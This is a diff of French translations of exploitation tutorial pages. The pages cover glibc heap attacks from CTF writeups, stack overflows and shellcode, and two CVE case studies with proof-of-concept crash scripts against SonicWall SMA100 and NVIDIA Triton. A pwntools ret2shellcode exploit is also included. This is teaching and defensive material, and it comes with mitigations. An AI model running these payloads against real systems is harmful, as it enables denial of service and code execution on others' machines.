Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked.
|
||||
Une attaque similaire [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) utilisait une structure de 4 chunks (A, B, C et D - D est juste pour empêcher la consolidation avec le top chunk) : un null byte overflow dans B était utilisé pour faire indiquer à C que B était unused. Aussi, dans B le champ `prev_size` a été modifié pour que la taille au lieu d'être la taille de B soit A+B.\
|
||||
Ensuite C a été deallocated, et consolidé avec A+B (mais B était toujours in use). Un nouveau chunk de taille A a été alloué puis les adresses libc leakées ont été écrites dans B d'où elles ont été leakées.
|
||||
|
||||
## References & Other examples
|
||||
## Références & Autres exemples
|
||||
|
||||
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
|
||||
- The goal is to overwrite a global variable with a value greater than 4869 so it's possible to get the flag and PIE is not enabled.
|
||||
- It's possible to generate chunks of arbitrary sizes and there is a heap overflow with the desired size.
|
||||
- The attack starts creating 3 chunks: chunk0 to abuse the overflow, chunk1 to be overflowed and chunk2 so top chunk doesn't consolidate the previous ones.
|
||||
- Then, chunk1 is freed and chunk0 is overflowed to the `bk` pointer of chunk1 points to: `bk = magic - 0x10`
|
||||
- Then, chunk3 is allocated with the same size as chunk1, which will trigger the unsorted bin attack and will modify the value of the global variable, making possible to get the flag.
|
||||
- L'objectif est d'overwriter une variable globale avec une valeur supérieure à 4869 pour pouvoir récupérer le flag et PIE n'est pas activé.
|
||||
- Il est possible de générer des chunks de tailles arbitraires et il y a un heap overflow avec la taille désirée.
|
||||
- L'attaque commence en créant 3 chunks : chunk0 pour abuser de l'overflow, chunk1 pour être overflowed et chunk2 pour que le top chunk ne consolide pas les précédents.
|
||||
- Ensuite, chunk1 est freed et chunk0 est overflowed pour que le `bk` pointer de chunk1 pointe vers : `bk = magic - 0x10`
|
||||
- Puis, chunk3 est alloué avec la même taille que chunk1, ce qui déclenchera l'unsorted bin attack et modifiera la valeur de la variable globale, permettant d'obtenir le flag.
|
||||
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
|
||||
- The merge function is vulnerable because if both indexes passed are the same one it'll realloc on it and then free it but returning a pointer to that freed region that can be used.
|
||||
- Therefore, **2 chunks are created**: **chunk0** which will be merged with itself and chunk1 to prevent consolidating with the top chunk. Then, the **merge function is called with chunk0** twice which will cause a use after free.
|
||||
- Then, the **`view`** function is called with index 2 (which the index of the use after free chunk), which will **leak a libc address**.
|
||||
- As the binary has protections to only malloc sizes bigger than **`global_max_fast`** so no fastbin is used, an unsorted bin attack is going to be used to overwrite the global variable `global_max_fast`.
|
||||
- Then, it's possible to call the edit function with the index 2 (the use after free pointer) and overwrite the `bk` pointer to point to `p64(global_max_fast-0x10)`. Then, creating a new chunk will use the previously compromised free address (0x20) will **trigger the unsorted bin attack** overwriting the `global_max_fast` which a very big value, allowing now to create chunks in fast bins.
|
||||
- Now a **fast bin attack** is performed:
|
||||
- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
|
||||
- La fonction merge est vulnérable parce que si les deux indexes passés sont identiques elle fera un realloc dessus puis le free mais retournera un pointeur vers cette région freed qui peut être utilisée.
|
||||
- Donc, **2 chunks sont créés** : **chunk0** qui sera merged avec lui-même et chunk1 pour empêcher la consolidation avec le top chunk. Ensuite, la fonction **merge** est appelée avec chunk0 deux fois ce qui provoque un use after free.
|
||||
- Ensuite, la fonction **`view`** est appelée avec l'index 2 (qui est l'index du chunk use after free), ce qui va **leak une adresse libc**.
|
||||
- Comme le binaire a des protections qui n'autorisent que des malloc de tailles supérieures à **`global_max_fast`** donc aucun fastbin n'est utilisé, une unsorted bin attack sera utilisée pour overwriter la variable globale `global_max_fast`.
|
||||
- Ensuite, il est possible d'appeler la fonction edit avec l'index 2 (le pointeur use after free) et d'overwrite le pointeur `bk` pour qu'il pointe vers `p64(global_max_fast-0x10)`. Puis, créer un nouveau chunk utilisera l'adresse freed compromise précédemment (0x20) et **déclenchera l'unsorted bin attack** écrasant `global_max_fast` avec une très grande valeur, permettant maintenant de créer des chunks dans les fast bins.
|
||||
- Maintenant une **fast bin attack** est réalisée :
|
||||
- Tout d'abord on découvre qu'il est possible de travailler avec des fast **chunks de taille 200** à l'emplacement de **`__free_hook`** :
|
||||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||||
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
@ -115,19 +115,19 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
</code></pre>
|
||||
- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
|
||||
- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
|
||||
- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function.
|
||||
- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
|
||||
- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
|
||||
- Si on parvient à obtenir un fast chunk de taille 0x200 à cet emplacement, il sera possible d'overwrite un pointeur de fonction qui sera exécuté.
|
||||
- Pour cela, un nouveau chunk de taille `0xfc` est créé et la fonction merged est appelée avec ce pointeur deux fois, ainsi on obtient un pointeur vers un chunk freed de taille `0xfc*2 = 0x1f8` dans le fast bin.
|
||||
- Ensuite, la fonction edit est appelée sur ce chunk pour modifier l'adresse **`fd`** de ce fast bin pour qu'elle pointe vers l'emplacement de **`__free_hook`**.
|
||||
- Puis, un chunk de taille `0x1f8` est créé pour récupérer du fast bin le chunk précédent inutile, puis un autre chunk de taille `0x1f8` est créé pour obtenir un fast bin chunk dans **`__free_hook`** qui est overwrité avec l'adresse de la fonction **`system`**.
|
||||
- Et enfin un chunk contenant la string `/bin/sh\x00` est freed en appelant la fonction delete, déclenchant **`__free_hook`** qui pointe vers system avec `/bin/sh\x00` comme paramètre.
|
||||
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
|
||||
- Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
|
||||
- Un autre exemple d'abus d'un overflow 1B pour consolider des chunks dans l'unsorted bin et obtenir un libc infoleak puis effectuer une fast bin attack pour overwrite malloc hook avec une one gadget address
|
||||
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
|
||||
- We can only allocate chunks of size greater than `0x100`.
|
||||
- Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
|
||||
- Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
|
||||
- On ne peut allouer que des chunks de taille plus grande que `0x100`.
|
||||
- Overwrite `global_max_fast` en utilisant une Unsorted Bin attack (fonctionne 1/16 fois à cause de l'ASLR, car il faut modifier 12 bits, mais on doit modifier 16 bits).
|
||||
- Fast Bin attack pour modifier un tableau global de chunks. Cela donne un primitive arbitrary read/write, ce qui permet de modifier la GOT et de faire pointer une fonction vers `system`.
|
||||
|
||||
## References
|
||||
## Références
|
||||
|
||||
- Glibc malloc unsorted-bin integrity checks (example in 2.33 source): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c
|
||||
- `global_max_fast` and related definitions in modern glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c
|
||||
|
@ -4,15 +4,15 @@
|
||||
|
||||
## Qu'est-ce qu'un Stack Overflow
|
||||
|
||||
Un **stack overflow** est une vulnérabilité qui se produit lorsqu'un programme écrit plus de données sur la stack que l'espace qui lui a été alloué. Cet excès de données va **écraser l'espace mémoire adjacent**, entraînant la corruption de données valides, la perturbation du flux de contrôle et potentiellement l'exécution de code malveillant. Ce problème survient souvent à cause de l'utilisation de fonctions non sûres qui ne vérifient pas les limites des entrées.
|
||||
Un **stack overflow** est une vulnérabilité qui se produit lorsqu'un programme écrit plus de données dans la stack que ce qui lui a été alloué. Ces données excédentaires vont **écraser des zones mémoire adjacentes**, entraînant la corruption de données valides, la perturbation du flux de contrôle et potentiellement l'exécution de code malveillant. Ce problème survient souvent à cause de l'utilisation de fonctions non sécurisées qui ne vérifient pas les limites des données en entrée.
|
||||
|
||||
Le principal problème de cet écrasement est que le **pointeur d'instruction sauvegardé (EIP/RIP)** et le **pointeur de base sauvegardé (EBP/RBP)** utilisés pour revenir à la fonction précédente sont **stockés sur la stack**. Par conséquent, un attaquant pourra écraser ces valeurs et **contrôler le flux d'exécution du programme**.
|
||||
Le problème principal de cet écrasement est que le **pointeur d'instruction sauvegardé (EIP/RIP)** et le **pointeur de base sauvegardé (EBP/RBP)** permettant de revenir à la fonction précédente sont **stockés sur la stack**. Par conséquent, un attaquant pourra les écraser et **contrôler le flux d'exécution du programme**.
|
||||
|
||||
La vulnérabilité apparaît généralement parce qu'une fonction **copie sur la stack plus d'octets que la quantité qui lui a été allouée**, pouvant ainsi écraser d'autres parties de la stack.
|
||||
La vulnérabilité survient généralement parce qu'une fonction **copie dans la stack plus d'octets que la quantité qui lui a été allouée**, pouvant ainsi écraser d'autres parties de la stack.
|
||||
|
||||
Certaines fonctions couramment vulnérables sont : **`strcpy`, `strcat`, `sprintf`, `gets`**... De plus, des fonctions comme **`fgets`**, **`read`** et **`memcpy`** qui prennent un **argument de longueur** peuvent être utilisées de manière vulnérable si la longueur spécifiée est supérieure à celle allouée.
|
||||
Quelques fonctions couramment vulnérables sont : **`strcpy`, `strcat`, `sprintf`, `gets`**... De plus, des fonctions comme **`fgets`**, **`read`** et **`memcpy`** qui prennent un **argument de longueur**, peuvent être utilisées de manière vulnérable si la longueur spécifiée est supérieure à celle allouée.
|
||||
|
||||
Par exemple, les fonctions suivantes pourraient être vulnérables :
|
||||
Par exemple, les fonctions suivantes pourraient être vulnérables:
|
||||
```c
|
||||
void vulnerable() {
|
||||
char buffer[128];
|
||||
@ -21,15 +21,15 @@ gets(buffer); // This is where the vulnerability lies
|
||||
printf("You entered: %s\n", buffer);
|
||||
}
|
||||
```
|
||||
### Trouver les offsets de Stack Overflows
|
||||
### Trouver les offsets de Stack Overflow
|
||||
|
||||
La méthode la plus courante pour détecter des Stack Overflows consiste à fournir une très grande entrée de `A`s (par ex. `python3 -c 'print("A"*1000)'`) et à observer un `Segmentation Fault` indiquant que l'**adresse `0x41414141` a été sollicitée**.
|
||||
La méthode la plus courante pour détecter des Stack overflows est d'envoyer une très grande entrée de `A` (par ex. `python3 -c 'print("A"*1000)'`) et d'attendre un `Segmentation Fault` indiquant qu'on a tenté d'accéder à l'**adresse `0x41414141`**.
|
||||
|
||||
De plus, une fois que vous avez découvert qu'il y a une vulnérabilité de Stack Overflow, vous devrez trouver l'offset nécessaire pour pouvoir **overwrite the return address** ; pour cela on utilise généralement une **De Bruijn sequence.** Celle-ci, pour un alphabet donné de taille _k_ et des sous-séquences de longueur _n_, est une **séquence cyclique dans laquelle chaque sous-séquence possible de longueur _n_ apparaît exactement une fois** en tant que sous-séquence contiguë.
|
||||
De plus, une fois que vous avez constaté qu'il existe une vulnérabilité de Stack Overflow, vous devrez trouver l'offset nécessaire pour pouvoir **écraser l'adresse de retour** ; pour cela on utilise généralement une **De Bruijn sequence.** Laquelle, pour un alphabet donné de taille _k_ et des sous-séquences de longueur _n_, est une **séquence cyclique dans laquelle chaque sous-séquence possible de longueur _n_ apparaît exactement une fois** comme sous-séquence contiguë.
|
||||
|
||||
De cette façon, au lieu de devoir déterminer manuellement quel offset permet de contrôler l'EIP, on peut utiliser comme padding l'une de ces séquences puis trouver l'offset des octets qui ont fini par l'écraser.
|
||||
Ainsi, au lieu de devoir déterminer manuellement quel offset permet de contrôler l'EIP, il est possible d'utiliser comme padding l'une de ces séquences puis de trouver l'offset des octets qui ont fini par l'écraser.
|
||||
|
||||
Il est possible d'utiliser **pwntools** pour cela:
|
||||
On peut utiliser **pwntools** pour cela:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -48,16 +48,16 @@ pattern create 200 #Generate length 200 pattern
|
||||
pattern search "avaaawaa" #Search for the offset of that substring
|
||||
pattern search $rsp #Search the offset given the content of $rsp
|
||||
```
|
||||
## Exploiter les Stack Overflows
|
||||
## Exploitation des Stack Overflows
|
||||
|
||||
Lors d'un overflow (si la taille est suffisante) vous pourrez **écraser** les valeurs des variables locales sur la stack jusqu'à atteindre les **EBP/RBP et EIP/RIP sauvegardés (ou même davantage)**.\
|
||||
La manière la plus courante d'abuser de ce type de vulnérabilité est de **modifier l'adresse de retour** afin que, lorsque la fonction se termine, **le flux de contrôle soit redirigé vers l'endroit spécifié par ce pointeur**.
|
||||
Lors d'un overflow (si la taille de l'overflow est suffisante), vous pourrez **écraser** les valeurs des variables locales sur la stack jusqu'à atteindre les **EBP/RBP et EIP/RIP sauvegardés (ou même plus)**.\
|
||||
Le moyen le plus courant d'exploiter ce type de vulnérabilité est de **modifier l'adresse de retour** afin que, lorsque la fonction se termine, le **control flow soit redirigé là où l'utilisateur l'a spécifié** dans ce pointeur.
|
||||
|
||||
Cependant, dans d'autres scénarios, simplement **écraser certaines valeurs de variables sur la stack** peut suffire pour l'exploitation (comme dans des challenges CTF faciles).
|
||||
Cependant, dans d'autres scénarios, **écraser certaines valeurs de variables dans la stack** peut suffire pour l'exploitation (comme dans des challenges CTF faciles).
|
||||
|
||||
### Ret2win
|
||||
|
||||
Dans ce type de challenges CTF, il existe une **fonction** **à l'intérieur** du binaire qui n'est **jamais appelée** et que **vous devez appeler pour gagner**. Pour ces challenges, il suffit de trouver l'**offset pour écraser l'adresse de retour** et **l'adresse de la fonction** à appeler (généralement [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) sera désactivé) de sorte que, lorsque la fonction vulnérable retourne, la fonction cachée sera appelée :
|
||||
Dans ce type de challenges CTF, il y a une **fonction** **dans** le binaire qui n'est **jamais appelée** et que **vous devez appeler pour gagner**. Pour ces challenges, il suffit de trouver l'**offset pour écraser l'adresse de retour** et **trouver l'adresse de la fonction** à appeler (généralement [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) est désactivé) de sorte que lorsque la fonction vulnérable retourne, la fonction cachée sera appelée :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -66,7 +66,7 @@ ret2win/
|
||||
|
||||
### Stack Shellcode
|
||||
|
||||
Dans ce scénario, l'attaquant peut placer un shellcode dans la stack et utiliser l'EIP/RIP contrôlé pour sauter vers le shellcode et exécuter du code arbitraire :
|
||||
Dans ce scénario, l'attaquant peut placer un shellcode dans la stack et abuser du EIP/RIP contrôlé pour sauter vers le shellcode et exécuter du code arbitraire :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -75,7 +75,7 @@ stack-shellcode/
|
||||
|
||||
### Windows SEH-based exploitation (nSEH/SEH)
|
||||
|
||||
Sur Windows 32-bit, un overflow peut écraser la chaîne Structured Exception Handler (SEH) au lieu de l'adresse de retour sauvegardée. L'exploitation remplace typiquement le pointeur SEH par un gadget POP POP RET et utilise le champ nSEH de 4 octets pour un saut court afin de revenir dans le grand buffer où réside le shellcode. Un schéma courant est un petit jmp dans nSEH qui atterrit sur un near jmp de 5 octets placé juste avant nSEH pour sauter de centaines d'octets en arrière vers le début du payload.
|
||||
Sur Windows 32-bit, un overflow peut écraser la chaîne Structured Exception Handler (SEH) au lieu de l'adresse de retour sauvegardée. L'exploitation remplace typiquement le pointeur SEH par un gadget POP POP RET et utilise le champ nSEH de 4 octets pour un court saut permettant de revenir dans le grand buffer où réside le shellcode. Un schéma courant est un court jmp dans nSEH qui atterrit sur un near jmp de 5 octets placé juste avant nSEH pour sauter de centaines d'octets vers le début du payload.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -84,7 +84,7 @@ windows-seh-overflow.md
|
||||
|
||||
### ROP & Ret2... techniques
|
||||
|
||||
Cette technique est le cadre fondamental pour bypasser la principale protection de la technique précédente : **No executable stack (NX)**. Elle permet aussi d'exécuter plusieurs autres techniques (ret2lib, ret2syscall...) qui finiront par exécuter des commandes arbitraires en abusant d'instructions existantes dans le binaire :
|
||||
Cette technique est le cadre fondamental pour contourner la principale protection de la technique précédente : **No executable stack (NX)**. Elle permet aussi de réaliser plusieurs autres techniques (ret2lib, ret2syscall...) qui finiront par exécuter des commandes arbitraires en abusant des instructions existantes dans le binaire :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -93,7 +93,7 @@ Cette technique est le cadre fondamental pour bypasser la principale protection
|
||||
|
||||
## Heap Overflows
|
||||
|
||||
Un overflow ne se situe pas toujours dans la stack ; il peut aussi se trouver dans le **heap**, par exemple :
|
||||
Un overflow ne se produit pas toujours dans la stack, il peut aussi se produire dans le **heap**, par exemple :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -102,7 +102,7 @@ Un overflow ne se situe pas toujours dans la stack ; il peut aussi se trouver da
|
||||
|
||||
## Types de protections
|
||||
|
||||
Il existe plusieurs protections visant à empêcher l'exploitation des vulnérabilités, consultez-les dans :
|
||||
Il existe plusieurs protections cherchant à empêcher l'exploitation des vulnérabilités, consultez-les dans :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -111,7 +111,7 @@ Il existe plusieurs protections visant à empêcher l'exploitation des vulnérab
|
||||
|
||||
### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
|
||||
|
||||
Une bonne démonstration de pourquoi **`sscanf` ne doit jamais être utilisé pour analyser des entrées non fiables** est apparue en 2025 dans l'appliance SSL-VPN SMA100 de SonicWall.
|
||||
Une bonne démonstration de pourquoi **`sscanf` ne devrait jamais être considéré comme fiable pour analyser des entrées non fiables** est apparue en 2025 dans l'appliance SSL-VPN SMA100 de SonicWall.
|
||||
La routine vulnérable dans `/usr/src/EasyAccess/bin/httpd` tente d'extraire la version et l'endpoint de toute URI commençant par `/__api__/` :
|
||||
```c
|
||||
char version[3];
|
||||
@ -119,25 +119,25 @@ char endpoint[0x800] = {0};
|
||||
/* simplified proto-type */
|
||||
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
|
||||
```
|
||||
1. La première conversion (`%2s`) stocke en toute sécurité **deux** bytes dans `version` (par ex. `"v1"`).
|
||||
2. La seconde conversion (`%s`) **n'a pas de spécificateur de longueur**, donc `sscanf` continuera de copier **jusqu'au premier NUL byte**.
|
||||
3. Parce que `endpoint` est situé sur la **stack** et fait **0x800 bytes**, fournir un path plus long que 0x800 bytes corrompt tout ce qui se trouve après le buffer ‑ y compris le **stack canary** et le **saved return address**.
|
||||
1. La première conversion (`%2s`) stocke en toute sécurité **deux** octets dans `version` (par ex. `"v1"`).
|
||||
2. La seconde conversion (`%s`) **n'a pas de spécificateur de longueur**, donc `sscanf` continuera de copier **jusqu'au premier octet NUL**.
|
||||
3. Parce que `endpoint` est situé sur la **stack** et est **0x800 bytes long**, fournir un chemin plus long que 0x800 bytes corrompt tout ce qui se trouve après le buffer ‑ y compris le **stack canary** et le **saved return address**.
|
||||
|
||||
Une preuve de concept en une seule ligne suffit à déclencher le crash **avant l'authentification** :
|
||||
Une preuve de concept d'une seule ligne suffit à déclencher le crash **avant l'authentification** :
|
||||
```python
|
||||
import requests, warnings
|
||||
warnings.filterwarnings('ignore')
|
||||
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||||
requests.get(url, verify=False)
|
||||
```
|
||||
Même si les stack canaries provoquent l'arrêt du processus, un attaquant obtient toujours un primitive de **Denial-of-Service** (et, avec des leak d'information supplémentaires, éventuellement code-execution). La leçon est simple :
|
||||
Même si les stack canaries arrêtent le processus, un attaquant obtient toujours une primitive **Denial-of-Service** (et, avec des leaks d'information supplémentaires, éventuellement **code-execution**). La leçon est simple :
|
||||
|
||||
* Fournissez toujours une **largeur de champ maximale** (par ex. `%511s`).
|
||||
* Préférez des alternatives plus sûres telles que `snprintf`/`strncpy_s`.
|
||||
* Fournir toujours une **largeur de champ maximale** (par ex. `%511s`).
|
||||
* Privilégier des alternatives plus sûres telles que `snprintf`/`strncpy_s`.
|
||||
|
||||
### Exemple réel : CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
|
||||
### Real-World Example: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
|
||||
|
||||
NVIDIA’s Triton Inference Server (≤ v25.06) contenait plusieurs **stack-based overflows** accessibles via son API HTTP.
|
||||
NVIDIA’s Triton Inference Server (≤ v25.06) contenait plusieurs **stack-based overflows** accessibles via son HTTP API.
|
||||
Le motif vulnérable apparaissait à plusieurs reprises dans `http_server.cc` et `sagemaker_server.cc` :
|
||||
```c
|
||||
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
|
||||
@ -148,9 +148,9 @@ alloca(sizeof(struct evbuffer_iovec) * n);
|
||||
...
|
||||
}
|
||||
```
|
||||
1. `evbuffer_peek` (libevent) renvoie le **nombre de segments de buffer internes** qui composent le corps de la requête HTTP actuelle.
|
||||
1. `evbuffer_peek` (libevent) renvoie le **nombre de segments de tampon internes** qui composent le corps de la requête HTTP courante.
|
||||
2. Chaque segment provoque l'allocation d'un `evbuffer_iovec` de **16-byte** sur la **stack** via `alloca()` – **sans aucune limite supérieure**.
|
||||
3. En abusant de **HTTP _chunked transfer-encoding_**, un client peut forcer la requête à être découpée en **des centaines de milliers de 6-byte chunks** (`"1\r\nA\r\n"`). Cela fait croître `n` sans limite jusqu'à épuisement de la stack.
|
||||
3. En abusant de **HTTP _chunked transfer-encoding_**, un client peut forcer la requête à être découpée en **des centaines de milliers de 6-byte chunks** (`"1\r\nA\r\n"`). Cela fait que `n` croît sans limite jusqu'à épuisement de la stack.
|
||||
|
||||
#### Preuve de concept (DoS)
|
||||
```python
|
||||
@ -176,10 +176,10 @@ s.close()
|
||||
if __name__ == "__main__":
|
||||
exploit(*sys.argv[1:])
|
||||
```
|
||||
Une requête d'environ ~3 Mo suffit à écraser l'adresse de retour sauvegardée et à **crash** le daemon sur une build par défaut.
|
||||
Une requête d'environ 3 Mo suffit à écraser l'adresse de retour sauvegardée et à faire planter le daemon sur une build par défaut.
|
||||
|
||||
#### Correctif et atténuation
|
||||
La version 25.07 remplace l'allocation non sécurisée sur la pile par une **heap-backed `std::vector`** et gère proprement `std::bad_alloc` :
|
||||
#### Correctif & atténuation
|
||||
La version 25.07 remplace l'allocation non sûre sur la pile par un **heap-backed `std::vector`** et gère gracieusement `std::bad_alloc` :
|
||||
```c++
|
||||
std::vector<evbuffer_iovec> v_vec;
|
||||
try {
|
||||
@ -191,8 +191,8 @@ struct evbuffer_iovec *v = v_vec.data();
|
||||
```
|
||||
Leçons apprises :
|
||||
* Ne jamais appeler `alloca()` avec des tailles contrôlées par l'attaquant.
|
||||
* Les requêtes chunked peuvent modifier radicalement la structure des buffers côté serveur.
|
||||
* Valider / plafonner toute valeur dérivée de l'entrée client *avant* de l'utiliser dans des allocations mémoire.
|
||||
* Les requêtes chunked peuvent modifier radicalement la forme des buffers côté serveur.
|
||||
* Validez / limitez toute valeur dérivée de l'entrée client *avant* de l'utiliser dans des allocations mémoire.
|
||||
|
||||
## Références
|
||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## Informations de base
|
||||
|
||||
**Stack shellcode** est une technique utilisée en **binary exploitation** où un attaquant écrit du shellcode dans la stack d'un programme vulnérable puis modifie le **Instruction Pointer (IP)** ou le **Extended Instruction Pointer (EIP)** pour pointer vers l'emplacement de ce shellcode, provoquant son exécution. C'est une méthode classique utilisée pour obtenir un accès non autorisé ou exécuter des commandes arbitraires sur un système cible. Voici une présentation du processus, incluant un exemple simple en C et comment écrire un exploit correspondant en Python avec **pwntools**.
|
||||
**Stack shellcode** est une technique utilisée dans la **binary exploitation** où un attaquant écrit du shellcode sur la stack d'un programme vulnérable puis modifie le **Instruction Pointer (IP)** ou **Extended Instruction Pointer (EIP)** pour pointer vers l'emplacement de ce shellcode, provoquant son exécution. C'est une méthode classique utilisée pour obtenir un accès non autorisé ou exécuter des commandes arbitraires sur un système cible. Voici une description du processus, incluant un exemple C simple et comment écrire un exploit correspondant en Python avec **pwntools**.
|
||||
|
||||
### Exemple en C : un programme vulnérable
|
||||
### Exemple en C : Un programme vulnérable
|
||||
|
||||
Commençons par un exemple simple de programme C vulnérable :
|
||||
Commençons par un exemple simple d'un programme C vulnérable :
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
@ -24,22 +24,22 @@ printf("Returned safely\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Ce programme est vulnérable à un débordement de tampon en raison de l'utilisation de la fonction `gets()`.
|
||||
Ce programme est vulnérable à un buffer overflow en raison de l'utilisation de la fonction `gets()`.
|
||||
|
||||
### Compilation
|
||||
|
||||
Pour compiler ce programme tout en désactivant diverses protections (pour simuler un environnement vulnérable), vous pouvez utiliser la commande suivante :
|
||||
Pour compiler ce programme en désactivant diverses protections (pour simuler un environnement vulnérable), vous pouvez utiliser la commande suivante :
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
- `-fno-stack-protector`: Désactive la stack protection.
|
||||
- `-z execstack`: Rend le stack exécutable, ce qui est nécessaire pour exécuter du shellcode stocké sur le stack.
|
||||
- `-fno-stack-protector`: Désactive la protection de la stack.
|
||||
- `-z execstack`: Rend la stack exécutable, ce qui est nécessaire pour exécuter le shellcode stocké sur la stack.
|
||||
- `-no-pie`: Désactive Position Independent Executable, ce qui facilite la prédiction de l'adresse mémoire où notre shellcode sera situé.
|
||||
- `-m32`: Compile le programme en exécutable 32-bit, souvent utilisé pour la simplicité dans le développement d'exploits.
|
||||
- `-m32`: Compile le programme en exécutable 32-bit, souvent utilisé pour simplifier l'exploit development.
|
||||
|
||||
### Exploit Python utilisant Pwntools
|
||||
### Python Exploit using Pwntools
|
||||
|
||||
Voici comment vous pourriez écrire un exploit en Python en utilisant **pwntools** pour effectuer une attaque **ret2shellcode** :
|
||||
Voici comment écrire un exploit en Python utilisant **pwntools** pour réaliser une attaque **ret2shellcode** :
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -66,26 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Ce script construit une payload composée d'un **NOP slide**, du **shellcode**, puis écrase le **EIP** avec l'adresse pointant vers le NOP slide, garantissant l'exécution du shellcode.
|
||||
Ce script construit un payload composé d'un **NOP slide**, du **shellcode**, puis écrase le **EIP** avec l'adresse pointant vers le NOP slide, garantissant que le shellcode soit exécuté.
|
||||
|
||||
Le **NOP slide** (`asm('nop')`) est utilisé pour augmenter les chances que l'exécution "slide" dans notre shellcode indépendamment de l'adresse exacte. Ajustez l'argument `p32()` à l'adresse de départ de votre buffer plus un offset pour atteindre le NOP slide.
|
||||
Le **NOP slide** (`asm('nop')`) est utilisé pour augmenter la probabilité que l'exécution "glisse" dans notre shellcode, indépendamment de l'adresse exacte. Ajustez l'argument de `p32()` à l'adresse de départ de votre buffer plus un offset pour atterrir dans le NOP slide.
|
||||
|
||||
## Windows x64: Contourner NX avec VirtualAlloc ROP (ret2stack shellcode)
|
||||
## Windows x64 : Contournement de NX avec VirtualAlloc ROP (ret2stack shellcode)
|
||||
|
||||
Sur les Windows modernes la stack est non-exécutable (DEP/NX). Une manière courante d'exécuter malgré tout du shellcode résident sur la stack après un stack BOF est de construire une ROP chain 64-bit qui appelle VirtualAlloc (ou VirtualProtect) depuis l'Import Address Table (IAT) du module afin de rendre une région de la stack exécutable, puis de retourner dans le shellcode placé après la chain.
|
||||
Sur les versions récentes de Windows la stack est non-exécutable (DEP/NX). Une méthode courante pour exécuter quand même un shellcode résidant sur la stack après un stack BOF consiste à construire une ROP chain 64-bit qui appelle VirtualAlloc (ou VirtualProtect) depuis l'Import Address Table (IAT) d'un module pour rendre une région de la stack exécutable, puis retourner dans le shellcode placé juste après la chain.
|
||||
|
||||
Key points (Win64 calling convention):
|
||||
Points clés (convention d'appel Win64) :
|
||||
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
|
||||
- RCX = lpAddress → choisissez une adresse dans la stack courante (par ex. RSP) afin que la région RWX nouvellement allouée chevauche votre payload
|
||||
